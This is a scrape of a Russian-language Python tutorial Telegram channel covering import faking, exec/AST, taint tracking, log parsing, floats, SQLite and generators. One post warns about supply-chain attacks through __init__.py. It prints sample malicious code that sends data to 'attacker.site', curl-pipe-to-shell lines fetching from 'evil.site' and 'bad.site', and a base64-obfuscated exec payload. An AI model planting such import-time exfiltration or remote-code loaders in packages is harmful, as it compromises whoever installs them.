PytStart | Программирование на Python
4.45K subscribers
20 photos
26 videos
54 links
Python: примеры кода, уроки, статьи

Купить рекламу: https://telega.in/c/pytstart

✍️По всем вопросам: @Pascal4eg
Download Telegram
This media is not supported in your browser
VIEW IN TELEGRAM
👩‍💻 Python. Зачем нужны функции?

Это видео объясняет, зачем в Python нужны функции: как они помогают структурировать код, избегать повторений и упрощают масштабирование. Подойдёт начинающим — разбираются примеры с аргументами, возвратом значений и практическими задачами. Отличный старт для понимания, как писать чистый и читаемый код.


➡️ Ссылка на первоисточник

🤩 Pytstart || #Видеокурс
Please open Telegram to view this post
VIEW IN TELEGRAM
6👍2
🎭 Fake modules: подделываем импорт, чтобы перехватить сторонние зависимости

В Python можно подменить любой импорт. Любой. Всё, что нужно — засунуть объект в sys.modules до того, как кто-то сделает import.

🧨 Подменяем requests
import sys

class FakeRequests:
def get(self, url):
return type("Response", (), {"text": "[FAKE DATA]"})

sys.modules["requests"] = FakeRequests()

➡️ Теперь любой import requests получит подделку. Даже чужая библиотека не узнает, что её обманули.

import requests

print(requests.get("https://example.com").text)

➡️ Вывод:
[FAKE DATA]

📎 HTTP-запроса не было. Всё ушло в фейковый .get().

💡 Подмена json
import types

fake_json = types.ModuleType("json")
fake_json.dumps = lambda obj: "'not json'"
fake_json.loads = lambda s: {"msg": "fake"}

import sys
sys.modules["json"] = fake_json

➡️ Теперь import json возвращает этот фейковый модуль. Можно заменить поведение стандартных функций.

import json

print(json.dumps({"hello": "world"}))
print(json.loads("whatever"))


➡️ Вывод:
'not json'
{'msg': 'fake'}

📎 Никакой сериализации — просто заглушка.

🔒 Блокируем доступ к базе
class BlockedPsycopg:
def connect(self, *args, **kwargs):
raise RuntimeError("DB access blocked")

sys.modules["psycopg2"] = BlockedPsycopg()

➡️ Теперь любой код, который попытается импортировать psycopg2, словит ошибку. Без вариантов.


🗣️ Запомни: sys.modules — это карта всех импортов. Поменяешь объект в ней — поменяешь поведение на всём проекте. Даже стандартные модули можно обмануть.
Please open Telegram to view this post
VIEW IN TELEGRAM
3👍2🔥1👏1
Посты на какие темы вы хотели бы увидеть на нашем канале? Пишите в комметариях.
5👍1
👩‍💻 Code as data: когда Python модифицирует сам себя

В Python код — это тоже данные. А значит, его можно прочитать, изменить и выполнить.
Ты буквально пишешь скрипт, который переписывает другой (или самого себя).

📖Читаем и модифицируем файл как обычный текст
with open("script.py", "r") as f:
code = f.read()

code = code.replace("DEBUG = False", "DEBUG = True")

with open("script.py", "w") as f:
f.write(code)

📎 Модифицируем строку прямо в исходнике — простой пример "самоизменяющегося" кода

⚙️ Вставка нового кода в файл
snippet = "\nprint('🐍 Я добавлен автоматически')\n"

with open("target.py", "a") as f:
f.write(snippet)

📌Добавляем в конец другой скрипт: автогенерация поведения без ручного редактирования

🧠 Используем exec() для динамического выполнения
code = """
def dynamic_func():
print("Hello from dynamic code!")
"""

exec(code)
dynamic_func()

📎 exec позволяет выполнить строку с кодом — она "оживает" во время выполнения

Теперь немного глубже. Не просто текст — а синтаксическое дерево кода.

🌳 AST: работа с кодом как со структурой
import ast

tree = ast.parse("x = 2\ny = x + 3")

for node in ast.walk(tree):
print(type(node).__name__)

➡️ ast.parse() превращает код в дерево объектов: ты можешь его анализировать или менять

✍️ Изменим Python-код программно
import ast
import astor

code = "x = 2\ny = x + 3"
tree = ast.parse(code)

tree.body.append(ast.parse("print(y)").body[0])
new_code = astor.to_source(tree)

print(new_code)

➡️ Добавили print(y) в конец кода — это уже настоящая трансформация кода на лету

🗣️Запомни: Код = данные. Python может переписать себя, другой скрипт или сгенерировать поведение на ходу.Используй ast, если хочешь безопасность и контроль. exec() — мощно, но опасно.
Please open Telegram to view this post
VIEW IN TELEGRAM
3👍2🔥1😐1
🧬 Taint tracking в Python: отслеживаем путь пользовательских данных

Когда ты получаешь ввод от пользователя — это не просто строка, это потенциальный вектор атаки. Важно отслеживать такие значения и не допускать их в критические операции (shell, SQL, шаблоны) без фильтрации.

Решение — taint tracking: пометка «заражённых» данных и распространение этого статуса в коде.

🔧 Подкласс str с флагом заражения
class TaintedStr(str):
def __new__(cls, content, tainted=True):
obj = super().__new__(cls, content)
obj.tainted = tainted
return obj

def __add__(self, other):
other_taint = getattr(other, "tainted", False)
return TaintedStr(super().__add__(other), self.tainted or other_taint)

def strip(self):
return TaintedStr(super().strip(), self.tainted)

def lower(self):
return TaintedStr(super().lower(), self.tainted)

📌 Что происходит?
Мы создаём обёртку вокруг str, которая сохраняет флаг tainted=True, и автоматически переносит его при операциях (+, strip, lower и т.д.).

🧪 Пример: данные от пользователя
user_input = TaintedStr(" DROP TABLE users; ")

print(user_input) # DROP TABLE users;
print(user_input.tainted) # True

➡️Ввод от пользователя сразу помечается как tainted. Это значение нельзя безопасно использовать без фильтрации.

🔁 Обработка не убирает taint
cleaned = user_input.strip().lower()
print(cleaned) # drop table users;
print(cleaned.tainted) # True

➡️ Даже после strip() и lower() строка остаётся «заражённой». Это важно: механическая очистка не гарантирует безопасность.

🚫 Блокируем опасные вызовы
def run_shell(command):
if getattr(command, "tainted", False):
raise RuntimeError("Заблокировано: команда содержит внешние данные.")
print("OK:", command)

run_shell(cleaned) # RuntimeError

➡️ Перед выполнением проверяем: если строка tainted, выбрасываем исключение. Это защищает от инъекций.

Очистка и сброс флага вручную
def sanitize(value):
return TaintedStr(value.strip(), tainted=False)

trusted = sanitize(user_input)
run_shell(trusted) # OK

➡️ Санитизация — это ручной контроль. Только ты решаешь, что считать безопасным. После проверки можно сбросить флаг.

🧱 Taint распространяется при конкатенации
q1 = TaintedStr("SELECT * FROM users WHERE name = '", tainted=False)
q2 = TaintedStr("admin'; DROP TABLE users;", tainted=True)
q3 = TaintedStr("';", tainted=False)

query = q1 + q2 + q3
print(query.tainted) # True

➡️Если хоть один компонент заражён — результат тоже tainted. Это основной принцип распространения.

🔄 Автоматическая передача через функции
def taint_propagates(fn):
def wrapper(*args, **kwargs):
tainted = any(getattr(arg, "tainted", False) for arg in args)
result = fn(*args, **kwargs)
if isinstance(result, str):
return TaintedStr(result, tainted)
return result
return wrapper

@taint_propagates
def build_path(username):
return f"/home/{username}"

➡️ Оборачиваем функцию: если на входе есть tainted, и возвращается строка — помечаем результат как tainted.

🧪 Проверка перед шаблонизацией
def render_template(tmpl, context):
if getattr(tmpl, "tainted", False):
raise RuntimeError("Нельзя рендерить шаблон с внешними данными")
return tmpl.format(**context)

safe = TaintedStr("Hello, {name}", tainted=False)
danger = TaintedStr("{name}", tainted=True)

render_template(safe, {"name": "Alice"}) # OK
render_template(danger, {"name": "Alice"}) # RuntimeError


🗣️ Запомни: TaintedStr помогает отслеживать путь данных от ввода до критичных точек.
Please open Telegram to view this post
VIEW IN TELEGRAM
7👍1
⚙️ Топ‑5 фреймворков Python для веба и API

Веб‑разработка на Python активно развивается: появляются новые инструменты, улучшающие производительность, асинхронность и удобство. Хочешь всегда оставаться в тренде? Эта статья для тебя!

В статье ты узнаешь:

📌 Рост популярности FastAPI и Sanic — асинхронные фреймворки становятся стандартом для real-time и микросервисов.
📌 Почему Django не сдаёт позиции — стабильность, экосистема и универсальность.
📌 Знакомство с новыми фреймворками — Piccolo, Starlite, Responder — для специфичных задач и старта проектов.
📌 Интеграция AI и ML — фреймворки становятся ближе к аналитике и ИИ функционалу
📌 Советы по выбору: когда лучше асинхронность, а когда — проверенные монолиты.

➡️ Читайте и наслаждайтесь

🗣️ Следующий год за асинхронным, быстрым и AI‑ориентированным вебом. Выбери фреймворк, который подходит именно твоим задачам!

🤩 Pytstart || #Статья
Please open Telegram to view this post
VIEW IN TELEGRAM
1👍5
📖 Парсим логи Nginx с нуля — вытаскиваем нужные данные

Nginx пишет логи вот в таком виде (по умолчанию):
192.168.1.5 - - [10/Jun/2025:10:42:17 +0000] "GET /index.html HTTP/1.1" 200 123 "-" "curl/7.68.0"

➡️ Хочешь из этого вытянуть IP, путь, статус и метод запроса?
Реальный парсинг, без grep, на Python.

🧩 Регулярка для вытаскивания данных
import re

log_line = '''192.168.1.5 - - [10/Jun/2025:10:42:17 +0000] "GET /index.html HTTP/1.1" 200 123 "-" "curl/7.68.0"'''

pattern = re.compile(
r'(?P<ip>\d+\.\d+\.\d+\.\d+)\s.*?"(?P<method>GET|POST|PUT|DELETE)\s(?P<path>/\S*)\sHTTP/[\d.]+"\s(?P<status>\d{3})'
)

match = pattern.search(log_line)
print(match.groupdict())


📌 Вывод:
{'ip': '192.168.1.5', 'method': 'GET', 'path': '/index.html', 'status': '200'}

➡️ Теперь можно делать с этими данными что угодно.

🔍 Ищем только ошибки (5xx)
with open("/var/log/nginx/access.log") as f:
for line in f:
m = pattern.search(line)
if m and m["status"].startswith("5"):
print(f'{m["ip"]} → {m["status"]} на {m["path"]}')

➡️ Увидишь, кто вызывает ошибки сервера.

📊 Подсчёт самых активных IP
from collections import Counter

ips = []

with open("/var/log/nginx/access.log") as f:
for line in f:
m = pattern.search(line)
if m:
ips.append(m["ip"])

for ip, count in Counter(ips).most_common(5):
print(f"{ip} — {count} запросов")

➡️ Можно быстро увидеть, кто долбит твой сервер чаще всех.

⏱️ Парсим $request_time (если ты включил в лог формат)

Если ты прописал $request_time в log_format, строка лога может выглядеть так:
192.168.1.5 - - [10/Jun/2025:10:42:17 +0000] "GET /api/data HTTP/1.1" 200 345 "-" "-" 1.245


pattern = re.compile(
r'(?P<ip>\d+\.\d+\.\d+\.\d+).*?"(?P<method>\w+)\s(?P<path>\S+).*"\s(?P<status>\d+).*\s(?P<time>\d+\.\d+)$'
)

with open("/var/log/nginx/access.log") as f:
for line in f:
m = pattern.search(line)
if m and float(m["time"]) > 1.0:
print(f"{m['path']} — медленно: {m['time']} сек")

➡️ Находишь тормозящие эндпоинты прямо из логов.


🗣️ Запомни: Работать с логами — это не просто искать 404. Это реальный способ анализировать поведение пользователей и состояние бэкенда. Через Python ты можешь фильтровать, группировать, считать и расследовать, не поднимая ни ELK, ни Grafana.
Please open Telegram to view this post
VIEW IN TELEGRAM
3👍3🔥2👏1
⚡️ Async/await в Python: почему это суперсила, а не боль

Если ты до сих пор считал asyncio сложным или ненужным, самое время пересмотреть своё мнение. Совсем недавно в Medium вышла статья, где автор делится, как асинхронный Python перестал быть загадкой и стал мощным инструментом.

В статье ты узнаешь:

📌 Как преодолеть страх перед async def и await — автор рассказывает о моменте, когда это перестало быть "странно" и стало легко.
📌 Почему asyncio идеален для API-heavy микросервисов на FastAPI, обрабатывающих десятки запросов одновременно.
📌 Конкретные примеры кода: chaining, gather, create_task, использование семафоров и очередей.
📌 Совет, как подружиться с этим стилем программирования, получить плавный и отзывчивый сервис.

➡️ Читайте и наслаждайтесь

🗣 Async Python — это когда твой сервер не "ждёт", а работает нон-стопом. Если ты пишешь backend, научиться этому — мастхэв.

🤩 Pytstart || #Статья
Please open Telegram to view this post
VIEW IN TELEGRAM
2👍1😭1
🔧 Как использовать background‑задачи в FastAPI

Если ты разрабатываешь Python‑бэкенд на FastAPI и сталкиваешься с долгими операциями — такими как отправка email, генерация отчетов или обработка файлов — BackgroundTasks станет твоим секретным оружием.

В статье ты узнаешь:

📌 Что это делает: запускает функции после отправки ответа, не блокируя API.
📌 Простой пример:
@app.post("/process")
async def process(data: str, background_tasks: BackgroundTasks):
background_tasks.add_task(save_to_db, data)
return {"status": "accepted"}

📌 Плюсы: моментальный отклик, плавная работа сервера.
📌 Минусы: задачи выполняются в том же процессе — для тяжёлых операций лучше использовать Celery.

➡️ Читайте и наслаждайтесь

🗣️ Теперь BackgroundTasks — не просто “полезный бонус”, а ключ — к быстрому, отзывчивому API.

🤩 Pytstart || #Статья
Please open Telegram to view this post
VIEW IN TELEGRAM
4
🎶🖼 Генерация музыки и изображений с помощью Python

Python умеет не только считать, но и создавать — музыку, звуки, картинки, абстракции, даже MIDI и визуализации.

🎵 Пример: генерация музыки с mido и pygame.midi

Создадим простую MIDI-мелодию прямо из Python.
from mido import Message, MidiFile, MidiTrack

mid = MidiFile()
track = MidiTrack()
mid.tracks.append(track)

notes = [60, 62, 64, 65, 67, 69, 71, 72] # До-мажор

for note in notes:
track.append(Message('note_on', note=note, velocity=64, time=120))
track.append(Message('note_off', note=note, velocity=64, time=120))

mid.save('scale.mid')

➡️ Получишь scale.mid, который можно открыть в любом MIDI-плеере или DAW (FL Studio, GarageBand).

📌 MIDI — это просто команды: нота, скорость, длительность. А mido даёт к ним простой Python-интерфейс.

🖼 Генерация изображений с Pillow и шумом

Создадим абстрактную картинку — просто как визуальное искусство.
from PIL import Image
import random

img = Image.new('RGB', (256, 256))
pixels = img.load()

for x in range(256):
for y in range(256):
r = random.randint(0, 255)
g = (x + y) % 256
b = (x * y) % 256
pixels[x, y] = (r, g, b)

img.save('abstract.png')

➡️ Получаешь абстрактный шум-калейдоскоп. Можно менять формулы, добавлять фильтры, слои.

💡 Генерация через turtle — рисование как в логотипе
import turtle
t = turtle.Turtle()
t.speed(0)

for i in range(360):
t.forward(i * 0.5)
t.right(59)

turtle.done()

➡️ Простая генеративная графика. Идеально для образовательных визуализаций.

🔥 Хочешь мощнее? Используй:

👍 🎨 matplotlib + Perlin noise — для фракталов, текстур, геометрии
👍 🎹 music21, scamp, pretty_midi — для анализа и генерации партитур
👍 🧠 Magenta, DeepDream, VQGAN+CLIP — генерация с помощью ML


🗣️ Запомни: Python — это не только для бэкенда и ML. Он может сочинять музыку и рисовать, если ты дашь ему идею.Начни с MIDI и Pillow, а потом двинься в сторону генеративного искусства и нейронных моделей. Всё в твоих руках.
Please open Telegram to view this post
VIEW IN TELEGRAM
3❤‍🔥2👍2
🧮 Float в Python: == работает не так, как ты думаешь

Ты написал:
if accuracy == 0.9:
do_something()

Но do_something() не вызвался, хотя ты уверен: accuracy был 0.9.

🐍 Python тебе ничего не скажет. А причина — в том, как устроены числа с плавающей точкой.

📉 Пример: числа вроде равны, но == даёт False
a = 0.1 + 0.2
b = 0.3

print(a) # 0.30000000000000004
print(b) # 0.3
print(a == b) # False

➡️ Почему? Потому что 0.1 и 0.2 не могут быть точно представлены в двоичной системе. Они чуть-чуть больше или меньше, чем ты думаешь.

Как сравнивать числа правильно?

1. Через `math.isclose()`
import math

a = 0.1 + 0.2
b = 0.3

if math.isclose(a, b, rel_tol=1e-9):
print("Они почти равны ")

🟢 rel_tol — относительная погрешность (доля от значения)
🟢 по умолчанию 1e-9, но можно настраивать

2. Или вручную через `abs()`
if abs(a - b) < 1e-9:
print("Тоже нормально ")


🧪 Практика: где float ломает логику

👍 Проверка метрики модели
accuracy = 0.89999999999999

if accuracy == 0.9:
print("Готово!") # не сработает


✔️ Надо:
if math.isclose(accuracy, 0.9, rel_tol=1e-3):
print("Готово!") #


👍 Юнит-тесты в ML/науке
def test_calc():
assert (0.1 + 0.2) == 0.3 # сломается


✔️ Надо так:
def test_calc():
assert math.isclose(0.1 + 0.2, 0.3) #


👍 Фильтрация по значению
data = [0.1 + 0.2, 0.3, 0.4]
filtered = [x for x in data if x == 0.3]
print(filtered) # пусто


✔️ Сравни с допуском:
filtered = [x for x in data if math.isclose(x, 0.3)]
print(filtered) # [0.30000000000000004, 0.3]


⚠️ Не путай с Decimal

Если тебе нужна точная математика, например для денег:
from decimal import Decimal

print(Decimal("0.1") + Decimal("0.2") == Decimal("0.3")) # True

➡️ Но в ML, NumPy и TensorFlow используется float — поэтому важно уметь его правильно сравнивать.


🗣️ Запомни:Никогда не делай float1 == float2.Используй math.isclose() или abs(a - b) < ε.
Это не придирка — это баг, который может сидеть тихо в проде, в тестах, в логике. Всегда проверяй float сравнение глазами.
Please open Telegram to view this post
VIEW IN TELEGRAM
👍84🔥3
👩‍💻 pygame 🆚 tkinter — когда брать, зачем и как работают в коде

Два способа рисовать и управлять интерфейсом в Python.
Но задачи у них разные: один про GUI, другой — про полный контроль над графикой.

🧱 Пример 1: простое окно с кнопкой

🪟 tkinter
import tkinter as tk

def clicked():
print(" Нажали!")

root = tk.Tk()
tk.Button(root, text="Нажми", command=clicked).pack()
root.mainloop()

➡️ Всё готово: окно, кнопка, обработчик.
Ты просто вызываешь виджеты. Интерфейс работает сразу.

🎮 pygame
import pygame

pygame.init()
screen = pygame.display.set_mode((300, 200))
clock = pygame.time.Clock()

while True:
for e in pygame.event.get():
if e.type == pygame.QUIT:
pygame.quit()
exit()
elif e.type == pygame.MOUSEBUTTONDOWN:
x, y = e.pos
if 100 <= x <= 200 and 80 <= y <= 120:
print(" Нажали!")

screen.fill((30, 30, 30))
pygame.draw.rect(screen, (0, 255, 0), (100, 80, 100, 40))
pygame.display.flip()
clock.tick(60)

➡️ Сам рисуешь кнопку, сам обрабатываешь координаты клика.
Нет виджетов — есть графика и контроль.

🧪 Пример 2: перемещение объекта

tkinter (через canvas)
import tkinter as tk

def move(event):
canvas.move(circle, 10, 0)

root = tk.Tk()
canvas = tk.Canvas(root, width=300, height=200)
canvas.pack()

circle = canvas.create_oval(50, 80, 100, 130, fill="blue")
root.bind("<Right>", move)

root.mainloop()

➡️ Управляем объектом через события.
Canvas — как 2D-слой для простых визуализаций.

🎮 pygame
import pygame

pygame.init()
screen = pygame.display.set_mode((300, 200))
clock = pygame.time.Clock()
x = 50

while True:
for e in pygame.event.get():
if e.type == pygame.QUIT:
pygame.quit()
exit()

keys = pygame.key.get_pressed()
if keys[pygame.K_RIGHT]:
x += 5

screen.fill((0, 0, 0))
pygame.draw.circle(screen, (0, 0, 255), (x, 100), 25)
pygame.display.flip()
clock.tick(60)

➡️ Никаких canvas и событий — только игровой цикл и рисование вручную.
Поведение на 100% контролируешь ты.

🧪 Пример 3: анимация

tkinterчерез after
import tkinter as tk

x = 10
def animate():
global x
canvas.move(ball, 2, 0)
x += 2
if x < 280:
root.after(20, animate)

root = tk.Tk()
canvas = tk.Canvas(root, width=300, height=200)
canvas.pack()
ball = canvas.create_oval(10, 90, 40, 120, fill="red")

animate()
root.mainloop()

➡️ Анимация работает через after() — таймер событий.

pygame — анимация встроена
import pygame

pygame.init()
screen = pygame.display.set_mode((300, 200))
clock = pygame.time.Clock()
x = 10

while True:
for e in pygame.event.get():
if e.type == pygame.QUIT:
pygame.quit()
exit()

x += 2
screen.fill((255, 255, 255))
pygame.draw.circle(screen, (255, 0, 0), (x, 100), 15)
pygame.display.flip()
clock.tick(60)

➡️ Анимация естественна: всё уже внутри игрового цикла.
Это делает pygame идеальным для плавной и быстрой графики.

🧠 Главное различие — не по функциям, а по подходу
| tkinter                        | pygame                     |
| ------------------------------ | -------------------------- |
| Всё готово (кнопки, поля) | Ничего нет — рисуешь сам |
| События через command/bind | Цикл обработки событий |
| Canvas как "поверхность" | Экран = всё рисуешь сам |
| GUI-утилиты, формы | Игры, визуализации, физика |


🗣️ Запомни:
tkinter — это когда нужен интерфейс, меню, формы, поля, кнопки.
pygame — когда нужен рендеринг, сцена, физика, анимация.
Они оба важны. Просто у каждого — своя территория.
Please open Telegram to view this post
VIEW IN TELEGRAM
7👍3
🧠 TensorFlow: подводные камни, о которых не пишут в туториалах

Работаешь с нейросетями? Даже если модель хорошая — мелкие баги в данных, reshape и обучении могут всё испортить.

Вот что нужно реально проверять — с примерами:

1️⃣. ⚠️ model.predict() и fit() — разные форматы
# обучение
model.fit(X_train, y_train)

# предсказание
pred = model.predict(X_test)

print(X_test.shape) # (100, 28, 28)

➡️ Если ты случайно дал X_test.shape == (28, 28) — будет shape mismatch, и баг не всегда очевиден.

🧠 Правильный вход: всегда проверяй .shape, особенно batch dimension.

2️⃣. 🎭 One-hot vs Label — не перепутай
from tensorflow.keras.utils import to_categorical

y = [0, 1, 2]
y_cat = to_categorical(y, num_classes=3)

# для categorical_crossentropy нужна one-hot
# для sparse_categorical_crossentropy — просто int

➡️ Если ты передал обычные метки в categorical_crossentropy — модель не будет учиться.

3️⃣. 🚨 model.evaluate()model.predict()
score = model.evaluate(X_test, y_test)
print("Loss:", score)

➡️ evaluate() даёт loss/accuracy.
Не путай с predict() — он просто возвращает массив вероятностей.

4️⃣. 🔄 model.save() сохраняет не всё
model.save("mymodel.keras")

➡️ Да, сохраняется архитектура и веса.
Но: оптимизатор, метрики, custom-объекты могут потеряться, если не явно указал.

5️⃣. 🧱 tf.data.Dataset — норм, но может молчать, если ошибка в генераторе
ds = tf.data.Dataset.from_tensor_slices((X, y)).batch(32)

➡️ Ошибки в генераторе данных не выбрасываются сразу — ты их ловишь на 5-м шаге fit().

Решение: отлаживай генераторы вручную, перед тем как пихать в Dataset.

6️⃣. 📏 Не забывай model.summary() и plot_model
model.summary()
# или
from tensorflow.keras.utils import plot_model
plot_model(model, show_shapes=True)

➡️ Если модель не обучается — часто ошибка в слоях или выходных размерах.


🗣 Запомни: TensorFlow мощный, но строгий. Модель может не учиться, не предсказывать или падать молча, если у тебя ошибся loss, shape, one-hot, metrics или input format.
Проверяй всё вручную — до обучения.
Please open Telegram to view this post
VIEW IN TELEGRAM
2👍2😐1
🖥 Генераторы

Генераторная функция - функция, в теле которой встречается ключевое слово yield. Будучи вызвана, такая функция возвращает объект-генератор (generator object) (итератор генератора (generator iterator)).

yield замораживает состояние функции-генератора и возвращает текущее значение. После следующего вызова __next__() функция-генератор продолжает своё выполнение с того места, где она была приостановлена.

В чем отличие [x for x in y] от (x for x in y) ?
Первое выражение возвращает список (списковое включение), второе – генератор.

Что особенного в генераторе
Генератор хранит в памяти не все элементы, а только внутреннее состояние для вычисления очередного элемента. На каждом шаге можно вычислить только следующий элемент, но не предыдущий. Пройти генератор в цикле можно только один раз.

Как объявить генератор
использовать синтаксис (x for x in seq)

оператор yield в теле функции вместо return

встроенная функция iter, которая вызывает у объекта метод __iter__(). Этот метод должен возвращать генератор.

Как получить из генератора список
Передать его в конструктор списка: list(x for x in some_seq). Важно, что после этого по генератору уже нельзя будет итерироваться.
Please open Telegram to view this post
VIEW IN TELEGRAM
👍53
🖥 Подгенераторы

Подгенераторы в Python — это механизм, позволяющий одной генераторной функции делегировать часть своей работы другой генераторной функции. Это реализуется с помощью конструкции yield from.

Пример:

def subgen():
yield 1
yield 2

def main_gen():
yield 'start'
yield from subgen()
yield 'end'

for item in main_gen():
print(item)

# start
# 1
# 2
# end


Зачем это нужно:
Повышает читаемость и переиспользуемость кода.
Упрощает цепочку генераторов, избегая вложенных циклов for.
Please open Telegram to view this post
VIEW IN TELEGRAM
🔥62
🖥 Что возвращает итерация по словарю?

🔧 Ключ. Порядок следования ключей не гарантируется (в 3.6 гарантируется неофициально, в 3.7 гарантируется). Для маленьких словарей порядок будет тот же, что и в объявлении. Для больших порядок зависит от расположения элементов в памяти. Особый класс OrderedDict учитывает порядок добавления ключей.


for key in {'foo': 1, 'bar': 2}:
process_key(key)


Для итерации словаря по парам ключ-значение, можно использовать метод словаря .items(), который возвращает генератор кортежей (key, value).


for key, value in {'foo': 1, 'bar': 2}.items():
print(f"k - {key}, v - {value}")

# k - foo, v - 1
# k - bar, v - 2
Please open Telegram to view this post
VIEW IN TELEGRAM
7👍1
👨‍💻 Лучшие ресурсы для Python‑разработчика (2025)

Даже опытный питонист тратит часы на поиски свежих гайдов и документации. Эта подборка с Habr собрала проверенные и актуальные ресурсы, чтобы учиться, развиваться и держать код в форме.

В статье вы найдёте:


📌 Подборку книг и документации, которые реально читают разработчики в 2025
📌 YouTube‑каналы и блоги для middle‑ и senior‑уровня
📌 Инструменты для анализа и визуализации кода
📌 Сообщества и чаты, где можно задать вопросы и не услышать «RTFM»
📌 Что полезного для разработчиков: экономия времени на поиск, только живые и актуальные ресурсы
📌 Как это помогает писать код лучше: быстрее учишься новому, находишь ответы и решения без долгих поисков

➡️ Читайте и наслаждайтесь

🗣 Ты пишешь лучше, когда рядом есть правильные инструменты и сообщество.

🤩 Pytstart || #Статья
Please open Telegram to view this post
VIEW IN TELEGRAM
👍32🔥2
👩‍💻 Почему нельзя изменять список во время итерации?

Одна из самых неприятных ловушек Python — это изменение списка внутри цикла, пока ты по нему итерируешься. Поведение может быть странным, непредсказуемым и багованным.

Вот почему это происходит и как избежать ошибок 👇

🟢 Что пойдёт не так:
numbers = [1, 2, 3, 4, 5]

for n in numbers:
if n % 2 == 0:
numbers.remove(n)

print(numbers)

➡️ Ожидаешь удалить все чётные числа? Получишь [1, 3, 5]?

Нет! Вывод: [1, 3, 5] — и это ещё повезло. Иногда список "ломается" сильнее.
Причина: Python итерируется по индексам, а ты меняешь структуру под ним. Итератор и список начинают «разъезжаться».

🟢 Как правильно: создавать новый список
numbers = [1, 2, 3, 4, 5]
filtered = [n for n in numbers if n % 2 != 0]

print(filtered) # [1, 3, 5]

➡️ Лаконично и безопасно: оригинальный список не трогаем.

🟢 Или использовать .copy():
numbers = [1, 2, 3, 4, 5]

for n in numbers.copy():
if n % 2 == 0:
numbers.remove(n)

print(numbers) # [1, 3, 5]

➡️ Работает, потому что цикл идёт по копии, а изменения касаются оригинала.

🟢 Словари: та же история
data = {"a": 1, "b": 2, "c": 3}

for k in list(data.keys()):
if data[k] % 2 == 0:
del data[k]

print(data) # {'a': 1, 'c': 3}

➡️ Никогда не удаляй элементы прямо по dict.keys() — используй list() для копии.

🗣️ Запомни: Изменять коллекцию в процессе обхода — почти всегда ошибка.
Лучше создавай новую или итерируйся по копии.

📍Где важно:
Фильтрация списков, работа с dict, удаление элементов из множеств, обработка очередей, итерации с условиями.
Please open Telegram to view this post
VIEW IN TELEGRAM
👍73
👩‍💻 SQLite в Python: база прямо в файл, без сервера

Когда не нужен полноценный PostgreSQL, а просто надо где-то хранить данные — SQLite идеально.

✔️ Легковесно
✔️ Без установки
✔️ Всё в одном .db-файле

🔧 Пример: создать базу и таблицу
import sqlite3

conn = sqlite3.connect("users.db") # создаёт файл, если нет
cursor = conn.cursor()

cursor.execute("""
CREATE TABLE IF NOT EXISTS users (
id INTEGER PRIMARY KEY AUTOINCREMENT,
username TEXT NOT NULL,
age INTEGER
)
""")
conn.commit()

➡️ Создали таблицу users — без серверов, Docker и настроек.

Вставка данных
cursor.execute("INSERT INTO users (username, age) VALUES (?, ?)", ("alice", 30))
conn.commit()

➡️ Используем ? — это защита от SQL-инъекций.

🔍 Чтение данных
cursor.execute("SELECT * FROM users")
for row in cursor.fetchall():
print(row)

➡️ Получаем все строки как кортежи.

🔁 Обновление и удаление
cursor.execute("UPDATE users SET age = ? WHERE username = ?", (31, "alice"))
cursor.execute("DELETE FROM users WHERE age < ?", (18,))
conn.commit()

➡️ Всё как в обычном SQL. Просто — и работает.

Закрытие соединения
conn.close()

Или так:
with sqlite3.connect("users.db") as conn:
...


🗣️Запомни:
SQLite — идеальный вариант для прототипов, локальных тулз, ботов, скриптов и парсеров.
Поддерживает SQL, транзакции, индексы — и всё в одном файле.
Please open Telegram to view this post
VIEW IN TELEGRAM
7👍4🔥1
💥 Supply Chain атака через __init__.py в Python — как тебя могут взломать на ровном месте

🔓 Установка либы — и ты уже в зоне риска
pip install requestz


Ты хотел requests, а получил requestz. Внутри:
# requestz/__init__.py

import os
import requests

requests.post("http://attacker.site", data={
"cwd": os.getcwd(),
"user": os.getlogin()
})


➡️ Ты даже не вызывал ничего. Просто:
import requestz


И скрипт уже отправил данные.

📦 Импорт = Выполнение

В Python каждый __init__.py — обычный код.
Ты пишешь:

import foo


А Python делает:

1. Открывает foo/__init__.py
2. Выполняет его построчно

Вот пример:
# foo/__init__.py

print("🔥 Заработало")
os.system("curl http://evil.site/shell.py | python3")

➡️ Никаких функций, никаких main() — просто импорт = ты уже в игре.

🐍 Даже wheel может быть заражён
pip install evil-logger-0.1-py3-none-any.whl


Тебе передали файл “удобной логгера”, ты поставил. Всё, в __init__.py был import os; os.system(...).
Ты даже не подозреваешь.

🤫 Вредоносный код можно спрятать “глубже”
# mylib/__init__.py

__import__("mylib.core.loader").boot()


А уже в loader.py:
def boot():
import os
os.system("curl http://bad.site/runme.sh | bash")

➡️ Скрипт запускается неявно — ты видишь “ничего нет”, но ты уже сливаешь данные.

🧪 Пример заражения через Git
git clone https://github.com/fakecorp/data-utils.git
cd data-utils
pip install .


Внутри data_utils/__init__.py:
import base64, os

exec(base64.b64decode("aW1wb3J0IG9zO29zLnN5c3RlbSgiY3VybCA...=="))

➡️ Код закодирован, чтобы ты не увидел глазами. Но он выполняется.

🗣 Запомни: __init__.py — это точка входа, которую никто не проверяет, но она исполняется всегда.
Любая либа может стать трояном. Если ты ставишь чужой пакет — ты запускаешь чужой код.
Please open Telegram to view this post
VIEW IN TELEGRAM
👍73
👨‍💻 PyExamine: умный детектив для Python‑кода

Код может выглядеть красиво, но скрывать «запахи» и архитектурные проблемы. PyExamine — новый инструмент (январь 2025), который видит глубже обычного линтера и помогает держать код чистым и надёжным.

В статье вы найдёте:


📌 Как PyExamine находит 49 типов «code smells» на трёх уровнях: архитектура, структура и строки
📌 Почему у него высокая точность (до 91 %) даже на больших проектах
📌 Как встроить его в CI/CD и ускорить ревью
📌 Чем он полезнее обычных линтеров и статических анализаторов
📌 Что полезного для разработчиков: меньше багов, быстрее ревью, чище архитектура
📌 Как это помогает писать код лучше: код становится понятнее, техдолг снижается, а сопровождение — проще и дешевле

➡️ Читайте и наслаждайтесь

🗣️ Хороший код видно сразу — но идеальный код сначала проверяют «по запаху»

🤩 Pytstart || #Статья
Please open Telegram to view this post
VIEW IN TELEGRAM
8